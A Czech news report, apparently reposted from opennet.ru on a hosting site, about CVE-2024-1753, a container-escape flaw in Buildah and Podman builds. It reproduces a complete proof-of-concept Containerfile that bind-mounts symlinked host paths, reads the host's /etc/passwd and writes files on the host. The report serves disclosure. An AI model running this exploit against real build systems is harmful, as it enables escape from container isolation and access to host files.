Zranitelnost v Buildah a Podman, která umožňuje obejít izolaci kontejneru.

V balíčcích Buildah a Podman byla nalezena zranitelnost (CVE-2024-1753), která umožňuje získat plný přístup k souborovému systému hostitelského prostředí během fáze sestavení kontejneru spuštěného s právy root. Na systémech se zapnutým SELinux je přístup k hostitelskému FS omezen na režim pouze pro čtení. Oprava je zatím k dispozici ve formě záplaty, která byla před několika minutami přijata do kódové základny Buildah.

Zranitelnost je způsobena tím, že při montování částí FS prostřednictvím příkazu „mount —bind“ během sestavení v fázi RUN se argument s původním adresářem (parametr „source=“) neověřuje, zda existuje v kořenovém FS. Zlovolně vytvořený konfigurační soubor Containerfile může používat obraz kontejneru, ve kterém je původní adresář pro montování vytvořen jako symbolický odkaz na kořenový FS. V takovém případě operace montování povede k montování kořenového FS hostitelského prostředí dovnitř kontejneru, což umožní během fáze RUN získat plný přístup k souborovému systému hostitelského prostředí a organizovat výstup z kontejneru během sestavení příkazy „buildah build“ nebo „podman build“.

Příklad škodlivého souboru Containerfile, jehož sestavení příkazem „podman build -f ~/Containerfile .“ povede k zobrazení obsahu /etc/passwd a vytvoření souborů /BIND_BREAKEOUT a /etc/BIND_BREAKOUT2 v hostitelském prostředí: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo „ls container root“ RUN ls -l / RUN echo „S exploit ukáže hostitelský root, ne root kontejneru, a vytvoří /BIND_BREAKOUT v / na hostiteli“ RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo „S exploit ukáže hostitelský /etc/passwd, ne kontejnerův, a vytvoří /BIND_BREAKOUT2 v /etc na hostiteli“ RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster